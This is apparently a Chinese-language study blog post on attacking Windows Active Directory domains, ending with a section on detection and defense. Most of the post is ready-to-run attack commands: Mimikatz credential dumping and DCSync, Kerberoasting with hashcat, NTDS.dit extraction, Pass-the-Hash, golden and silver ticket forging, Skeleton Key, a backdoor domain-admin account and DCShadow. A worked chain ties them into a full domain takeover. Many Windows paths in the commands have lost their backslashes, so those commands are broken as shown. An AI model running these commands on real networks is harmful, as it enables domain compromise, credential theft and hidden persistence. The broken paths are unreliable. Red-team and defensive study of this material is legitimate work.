域渗透这块算是内网渗透的核心了,也是我从Web安全往内网方向深入的时候花了很多时间啃的一块()。在真实的攻防场景中,拿下Web服务器说白了就是个入口,真正的目标其实是域控制器(DC)上的域管理员权限。最近把域渗透的完整攻击链系统梳理了一遍,从域环境侦察、凭证获取、横向移动到权限提升与维持,穿插经典工具的原理和实战案例,在这记录分享一下,希望能帮到也在学这块的师傅们()
一、Active Directory 基础回顾
Active Directory(AD)说白了就是Windows企业网络的核心身份认证服务,管着域内的用户、计算机、组策略这些资源()。理解AD的核心概念是域渗透的前提,刚开始学的时候感觉概念超多,但其实绕来绕去就那几个东西:
| 概念 | 说明 |
|---|---|
| 域(Domain) | AD的逻辑管理单元,共享同一目录数据库 |
| 域控制器(DC) | 运行AD域服务的服务器,存储目录数据并处理身份验证,默认跑在Windows Server上 |
| 组织单位(OU) | AD中的容器,用于组织用户、计算机、组等对象,便于委派管理和应用组策略 |
| Kerberos | AD默认认证协议,基于票据(Ticket)机制,包含AS-REQ/AS-REP、TGS-REQ/TGS-REP等关键交互步骤 |
| NTDS.dit | AD数据库文件,存储所有域用户的NTLM Hash(位于%SystemRoot%NTDSntds.dit),拿到这个就等于拿到整个域的凭证 |
| 组策略(GPO) | 域管理员通过GPO统一管理域内计算机的配置和安全策略,但也是攻击者最爱的持久化手段之一 |
| 全局编录(GC) | 包含林中每个域对象的部分副本,用于加速跨域查询,默认在第一个DC上启用 |
二、域环境侦察
进入内网后的第一步永远是信息收集,这个没得说。要搞清楚”我在哪、域叫什么、DC是谁、有哪些域管、域内有多少主机”。说白了就是先画地图再行军,不然纯瞎转悠()。
2.1 本机信息收集
# 基础信息,先搞清楚自己是谁、在哪
whoami /all # 当前用户及权限
systeminfo # 系统补丁、版本
ipconfig /all # 网络配置(DNS 服务器通常就是 DC)
net config workstation # 查看是否在域中
cmdkey /list # 凭据管理器中缓存的凭据
tasklist /svc # 进程及服务
netstat -ano # 端口及连接
2.2 域环境探测
# 域基本信息,直接梭哈收集
net user /domain # 域用户列表
net group /domain # 域组列表
net group "Domain Admins" /domain # 域管理员
net group "Enterprise Admins" /domain # 企业管理员
net group "Domain Controllers" /domain # 域控制器
net time /domain # 查看域时间(通常指向 DC)
net accounts /domain # 域密码策略
# DNS 查询定位 DC 和 KDC
nslookup -type=SRV _ldap._tcp.dc._msdcs.<FQDN>
nslookup -type=SRV _kerberos._tcp.<FQDN>
2.3 BloodHound 分析
BloodHound算是域渗透中最重要的侦察工具了,没有之一()。它通过图数据库(Neo4j)可视化分析域内ACL、成员关系、会话等攻击路径。第一次用的时候感觉开了天眼——原来从一个普通域用户到域管的最短路径这么直观,这真没话说。
# SharpHound 采集(在目标机器上执行)
SharpHound.exe -c All --zipfilename domain.zip
# 或用 Python 版采集器(从攻击机)
bloodhound-python -d corp.local -u user -p pass -gc dc01.corp.local -c all -ns 10.0.0.1
# 导入BloodHound后可查询的攻击路径:
# - Find Shortest Path to Domain Admins(到达域管的最短路径)
# - Find Principals with DCSync Rights(具有DCSync权限的主体)
# - Find Kerberoastable Users(可Kerberoasting的用户)
# - Find AS-REP Roastable Users(不需要Kerberos预认证的用户)
BloodHound的核心价值其实就是攻击路径规划。师傅们拿下一台Web服务器上的本地管理员后,通过BloodHound能直观地看到从这台机器能跳到哪些主机、哪些用户在DC上有会话、哪些组之间存在嵌套关系,然后规划最短的提权路径。说白了就是把”猜”变成了”看”,真的爽()。
三、凭证获取
横向移动的核心永远是凭证,这个没商量。Windows系统中凭据的存储位置多种多样:LSASS进程内存、SAM数据库、NTDS.dit、凭据管理器、浏览器保存密码、配置文件中的明文密码等。做域渗透最爽的时刻,就是mimikatz直接梭下去看到明文密码的时候,那种感觉真是舒坦()。
3.1 Mimikatz —— 凭证提取瑞士军刀
# 基础命令(需要管理员或SYSTEM权限)
privilege::debug # 提权到SeDebugPrivilege
# 从LSASS导出明文密码和NTLM Hash
sekurlsa::logonpasswords # 导出所有登录凭证(明文+Hash+Kerberos Ticket)
# 从SAM导出本地账户Hash
token::elevate # 提升为SYSTEM
lsadump::sam # 导出本地SAM中的Hash
# DCSync — 模拟DC请求复制凭据(需要域管或DCSync权限)
lsadump::dcsync /domain:corp.local /user:krbtgt # 导出krbtgt的Hash
lsadump::dcsync /domain:corp.local /all # 导出所有域用户Hash
# 导出票据
sekurlsa::tickets /export # 导出所有Kerberos票据到.kirbi文件
3.2 Kerberoasting
Kerberoasting攻击的目标是注册了SPN(Service Principal Name)的域用户账号。当域内任意用户向DC请求该服务的TGS票据时,DC会用目标服务账号的NTLM Hash加密票据,然后攻击者拿到加密票据后离线爆破——属于那种门槛不高但收益很大的攻击手法,感觉算是性价比最高的打法之一了()。
# 使用Impacket的GetUserSPNs
GetUserSPNs.py corp.local/user:password -dc-ip 10.0.0.1 -request -outputfile hashes.txt
# 使用Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
# 离线爆破
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force
3.3 AS-REP Roasting
对于不要求Kerberos预认证的用户(设置了DONT_REQ_PREAUTH标志),攻击者无需任何凭证就能请求该用户的AS-REP响应,其中包含用用户密码加密的会话密钥,然后离线爆破。比Kerberoasting更隐蔽,因为不需要在域内做任何特殊操作,感觉更舒服一些()。
# Impacket
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -format hashcat
# Rubeus
Rubeus.exe asreproast /outfile:asrep.txt
# 爆破
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
3.4 NTDS.dit 提取
拿到DC管理员权限后的终极目标——导出整个域的用户Hash。拿到NTDS.dit基本等于宣告游戏结束,算是域渗透的终点了()。
# 方法1: NTDSUtil(Windows自带,动静较大)
ntdsutil "ac i ntds" "ifm" "create full c:temp" q q
# 方法2: VSS卷影复制+注册表
vssadmin create shadow /for=C:
copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSntds.dit c:temp
reg save HKLMSYSTEM c:tempsystem.hive
# 方法3: Impacket secretsdump(需要DC管理员权限,推荐)
secretsdump.py corp.local/admin@10.0.0.1 -just-dc-ntlm
# 离线解析
secretsdump.py -ntds ntds.dit -system system.hive LOCAL
四、横向移动
获取一台机器的凭证后,下一步就是向域内其他主机、最终向域控制器移动。横向移动的方法取决于手头有什么——明文密码、NTLM Hash还是Kerberos票据,兵来将挡水来土掩吧()。
4.1 Pass-the-Hash(PtH)—— NTLM Hash传递
NTLM认证的经典缺陷:不需要明文密码,只要拿到NTLM Hash就能直接以该用户身份登录其他系统。第一次搞懂这个原理的时候觉得Windows的认证设计是真的松,这设计只能说懂的都懂()。
# Impacket wmiexec(WMI远程执行,动静最小)
wmiexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5
# Impacket smbexec(SMB远程执行)
smbexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5
# Impacket psexec(服务方式远程执行,会落盘会被EDR检测)
psexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5
# CrackMapExecutor(批量PtH,扫内网利器)
crackmapexec smb 10.0.0.0/24 -u admin -H <NTLM_HASH> -d corp.local
4.2 Pass-the-Ticket(PtT)—— Kerberos票据传递
将导出的.kirbi票据直接注入当前会话,以该票据对应身份访问资源,无需密码或Hash。跟PtH的区别其实就是——一个走NTLM,一个走Kerberos,就这么简单()。
# Mimikatz注入票据
kerberos::ptt ticket.kirbi
# Rubeus注入
Rubeus.exe ptt /ticket:ticket.kirbi
# 查看当前会话中的票据
klist
4.3 Golden Ticket —— 黄金票据
拿到krbtgt的NTLM Hash后,可以伪造任意用户的TGT(Ticket Granting Ticket),然后以域管身份访问域内任何资源。krbtgt密钥极少更改,黄金票据的有效期可以非常长。说白了,拿到krbtgt Hash == 拿到整个域的永久后门,就是这么简单粗暴()。
# Mimikatz生成并注入黄金票据
kerberos::golden /domain:corp.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /user:Administrator /id:500 /ptt
# 参数说明:
# /sid: 域的SID(通过whoami /user去掉最后一段获取)
# /krbtgt: krbtgt账户的NTLM Hash
# /user: 要伪造的用户名
# /ptt: 直接注入当前会话
4.4 Silver Ticket —— 白银票据
与黄金票据不同,白银票据伪造的是服务票据(TGS)而非TGT。只需要目标服务的机器账户Hash,不是krbtgt Hash。更隐蔽,因为不需要与DC交互。在实战中白银票据其实比黄金票据更常用——机器账户Hash比krbtgt好拿多了,感觉黄金票据有点理论上的完美但实际太难搞了()。
# 伪造CIFS服务票据(访问文件共享)
kerberos::golden /domain:corp.local /sid:<DOMAIN_SID> /target:dc01.corp.local /service:CIFS /rc4:<MACHINE_ACCOUNT_HASH> /user:Administrator /ptt
# 常用服务名: CIFS(文件共享), HOST(远程管理), HTTP(WinRM), MSSQL(SQL Server)
4.5 Overpass-the-Hash
用NTLM Hash请求Kerberos TGT,把NTLM认证”升级”为Kerberos认证,然后转为Pass-the-Ticket。说白了就是把Hash当密码用,直接去换一个正规的TGT回来,这个思路还挺巧妙的()。
# 用NTLM Hash申请TGT
Rubeus.exe asktgt /user:admin /rc4:<NTLM_HASH> /domain:corp.local /ptt
五、权限提升
5.1 本地提权
进入内网的主机可能只是个普通用户权限,需要先提权到本地SYSTEM才能进行凭证提取和后续横向移动。本地提权的路数很多,感觉每个环境都有不一样的玩法():
| 技术 | 原理 | 工具 |
|---|---|---|
| UAC Bypass | 绕过Windows用户账户控制,将权限从管理员提升到高完整性级别 | fodhelper、eventvwr、computerdefaults等注册表劫持 |
| Kernel Exploit | 利用Windows/第三方驱动内核漏洞,从任意用户直接到SYSTEM | MS16-032、CVE-2020-0787(PrintConfig)、CVE-2021-36934(HiveNightmare) |
| Potato系列 | 利用COM对象+NTLM反射进行令牌窃取:欺骗SYSTEM账户向攻击者监听的端口发起NTLM认证,再重放到本地RPC服务获取SYSTEM令牌 | JuicyPotato、RoguePotato、PrintSpoofer、SweetPotato |
| 服务劫持 | 修改低权限用户可写的服务路径/配置,服务以SYSTEM启动时执行恶意代码 | PowerUp.ps1(Get-ModifiableService) |
| AlwaysInstallElevated | 如果注册表中启用了AlwaysInstallElevated(HKLM+HKCU都为1),MSI安装包将以SYSTEM权限运行 | msfvenom生成MSI Payload |
| 计划任务 | 劫持SYSTEM权限的计划任务中的可写脚本或二进制文件 | PowerUp.ps1、手动排查 |
5.2 域内提权
- ACL滥用:分析BloodHound中的ACL关系,利用WriteProperty、GenericAll、ForceChangePassword等权限逐步提升在域内的控制权。比如拥有对某个域管组成员的GenericWrite权限,就能把自己加进去——这比找漏洞快多了,有时候找了一天漏洞不如看一圈ACL来得爽()。
- Constrained Delegation利用:约束委派允许服务A代表任意用户访问服务B。如果拿下了约束委派的服务账号,可以通过S4U2Self和S4U2Proxy协议扩展模拟域管访问目标服务,第一次搞懂这个原理的时候感觉还挺绕的()。
- Unconstrained Delegation利用:非约束委派比约束委派更危险——当域管登录到配置了非约束委派的服务器时,其TGT会缓存在该服务器的LSASS中,攻击者可以导出域管的票据。配置了非约束委派的主机基本就是蜜罐,见一个吃一个()。
- GPO滥用:如果拥有对GPO的编辑权限,可以将恶意脚本/计划任务通过组策略下发到整个域。常见手法包括在GPO的启动脚本中添加反弹Shell、创建计划任务、添加本地管理员等,感觉就是用正规渠道干坏事,防不胜防()。
- ADCS攻击:如果域内部署了AD CS(证书服务),可以利用证书模板权限配置不当直接打。经典场景包括ESC1-ESC13系列攻击路径,比如在允许注册者指定SAN(Subject Alternative Name)的证书模板中,任何有注册权限的用户都可以请求域管的证书然后获得其TGT。ESC1-ESC8是最常见也最好用的几条,算是域渗透里比较好玩的一块了()。
六、权限维持
6.1 黄金票据持久化
krbtgt账户的密码极少被重置(影响整个域的正常认证流程),因此获取krbtgt Hash后可以长期持有域控制权。即使域管密码被修改,黄金票据依然有效。不过需要知道,重置krbtgt密码两次(间隔大于票据最大生命周期)可以作废所有已有票据——但大部分企业根本不会这么做,所以这玩意真的很持久()。
6.2 Skeleton Key
在域控制器上安装Skeleton Key后,所有域用户都能直接用一个预设的”万能密码”(默认就是mimikatz)进行认证,同时用户原有的密码依然有效,非常隐蔽。该技术通过在LSASS进程中注入恶意代码实现,重启DC后失效,但可以配合其他持久化机制定期重新注入,感觉设计这个技术的人脑子真的灵光()。
# Mimikatz安装Skeleton Key(在DC上以域管权限执行)
privilege::debug
misc::skeleton
# 之后任何域用户都可以用"mimikatz"作为密码登录
# net use dc01c$ /user:corpanyuser mimikatz
6.3 后门账户与DCShadow
# 创建普通后门用户并加入域管组(动静大,容易被发现)
net user backdoor P@ssw0rd123 /add /domain
net group "Domain Admins" backdoor /add /domain
# 更隐蔽:DCShadow — 将自己的机器伪装为DC,在AD中复制任意更改
# Step 1: 在一台有域管权限的机器上启动Mimikatz
lsadump::dcshadow /object:CN=backdoor,... /attribute:primaryGroupID /value:512
# Step 2: 在DC上执行
lsadump::dcshadow /push
DCShadow是Mimikatz的一项高级功能,允许具有域管权限的攻击者将自己的机器伪装为域控制器,直接在AD中复制任意更改。这些更改通过标准的AD复制协议传播,很难与正常的AD复制流量区分,算是域渗透持久化的终极手段之一了,真有点降维打击的意思()。
七、核心工具链
| 工具 | 类型 | 核心用途 |
|---|---|---|
| BloodHound/SharpHound | 侦察分析 | AD攻击路径可视化,ACL/委派/会话关系分析 |
| Mimikatz | 凭证提取 | LSASS凭证转储、DCSync、票据操作(Golden/Silver/Skeleton Key/DCShadow) |
| Impacket | 远程执行 | Python版Windows协议复现——wmiexec、smbexec、psexec、secretsdump、GetUserSPNs等一整套横向移动工具 |
| Rubeus | Kerberos攻击 | C#实现的Kerberos交互——AS-REP Roasting、Kerberoasting、Overpass-the-Hash、Ticket导入/导出 |
| CrackMapExec | 批量扫描利用 | 批量SMB/WinRM/MSSQL登录、凭证喷洒、BloodHound采集、命令执行 |
| PowerView | 域枚举 | PowerShell写的AD枚举工具,灵活查询域对象 |
| Responder | 中间人攻击 | 监听LLMNR/NBT-NS/mDNS广播,捕获Net-NTLM Hash;配合NTLM Relay实现中继攻击 |
| ntlmrelayx | NTLM中继 | 将捕获的Net-NTLM认证请求中继到其他服务实现未授权访问 |
| Certipy | ADCS攻击 | AD证书服务攻击全自动化——证书模板枚举、ESC1-ESC13全系列、凭据导出 |
八、攻击链实战案例
下面直接串联一个典型的域渗透攻击链,展示各类技术怎么在实际场景中组合使用,师傅们可以当做一个参考路线():
阶段1——初始入口:通过Web漏洞(如反序列化/文件上传)获得Web服务器(10.0.0.100)的普通shell。Web服务器跑在IIS的ApplicationPoolIdentity下,权限很低,基本上啥也干不了()。
阶段2——本地提权:执行systeminfo发现没打KB3167679(MS16-032),利用该漏洞直接提权到SYSTEM。同时用SharpHound采集域信息,导入BloodHound分析,先摸清地形再动,不然就是在瞎搞()。
阶段3——凭证获取:SYSTEM权限下mimikatz sekurlsa::logonpasswords导出LSASS中缓存的IIS服务账号(svc_iis)凭证。该账号是企业标准服务账号,在多台服务器上使用相同密码——这种情况在企业里简直不要太常见,说白了就是给攻击者送快递()。
阶段4——横向移动:用CrackMapExec对10.0.0.0/24网段喷洒svc_iis凭证,发现10.0.0.50上也有本地管理员权限。然后BloodHound分析显示10.0.0.50上有一个域管(Domain Admin)的登录会话,再用Mimikatz在这台机器上导出域管的登录凭证,算是离目标越来越近了()。
阶段5——DC控制:用域管凭证DCSync导出整个域的Hash:mimikatz lsadump::dcsync /domain:corp.local /all /csv。然后获取krbtgt Hash,制作黄金票据作为持久化后门,到这步基本就稳了()。
阶段6——持久化:在DC上安装Skeleton Key,创建隐蔽的影子账户,然后通过DCShadow在AD中写入后门ACL,实现多层持久化,即使某个后门被清除也不影响整体控制。到这步基本就算拿下了,剩下就是享受成果了()。
九、防御与检测
从蓝队视角来看,域渗透攻击链的每个阶段其实也都有可检测的特征,就看防得够不够细致了():
| 攻击阶段 | 检测点 | 日志/监控来源 |
|---|---|---|
| 侦察 | 异常LDAP查询、大量SAM账户枚举(Event ID 4662)、SharpHound签名匹配 | LDAP查询日志、Windows Event Log、EDR进程监控 |
| 凭证获取 | LSASS进程被非标准工具访问(Event ID 4663)、异常VSS卷影复制(Event ID 98) | Sysmon Event 10(进程访问)、Event 11(文件创建) |
| 横向移动 | 新增服务创建(Event ID 7045——psexec特征)、WMI远程执行(Event ID 4688+父进程wmiprvse.exe)、计划任务创建(Event ID 4698) | Windows Event Log、Sysmon |
| 票据攻击 | 异常TGT/TGS请求模式、黄金票据的PAC异常、票据有效期异常(黄金票据默认10年) | Event ID 4769(TGS请求)、Event ID 4768(TGT请求) |
| DCSync | Event ID 4662——DC收到DS-Replication-Get-Changes-All扩展权限的访问,且来源不是已知DC | Windows Event Log on DC |
| Skeleton Key | LSASS进程内存中的代码注入检测(对比已知的LSASS模块hash) | EDR内存扫描、Sysmon Event 7(Image Load) |
防御要点:启用Windows Defender Credential Guard隔离LSASS;部署LAPS管理本地管理员密码,确保每台主机的本地管理员密码唯一;定期审计ACL和委派配置(善用BloodHound从蓝队视角分析,这工具真是红蓝通吃);重点监控DCSync和Kerberos票据异常;启用LDAP signing和LDAPS防止NTLM中继;正确配置AD CS证书模板权限(重点关注ESC1-ESC8)。ps:很多企业觉得这些配置麻烦,但等到被打了再后悔就来不及了,这套配置说多也不多,主要是懒()。
十、总结
域渗透的本质其实就是信任链的传递与滥用——Kerberos信任TGT,服务信任SPN,组策略信任GPO编辑者,ACL信任变更者。攻击者的每一步都是在利用这些预设的信任关系,从一个受信任的节点跳到下一个,感觉有点像多米诺骨牌,一推就全倒了()。
作为攻防的两面——红队需要系统化地理解这些信任关系并串联攻击路径,蓝队则需要在每个信任边界上设置检测点。不管是进攻还是防守,掌握本文涉及的各类技术和工具,理解Kerberos认证和AD信任模型的底层机制,都是深入域渗透领域的必经之路。学了这么多,说实话域渗透的知识体系是真的大,而且Windows那些协议和认证机制各种历史包袱,学起来挺费劲的。这块确实难,但多啃几次也就明白了,不过搞懂之后还是很有成就感的,算是值得投入的方向了()。
参考资源:MITRE ATT&CK Enterprise Matrix(TA0006 Credential Access / TA0008 Lateral Movement)、adsecurity.org(Sean Metcalf的Kerberos系列,必读)、harmj0y的BloodHound白皮书、ired.team红队笔记、Pentestlab Blog。ps:这些都是我自己啃过的,质量确实高,师傅们可以参考一下()
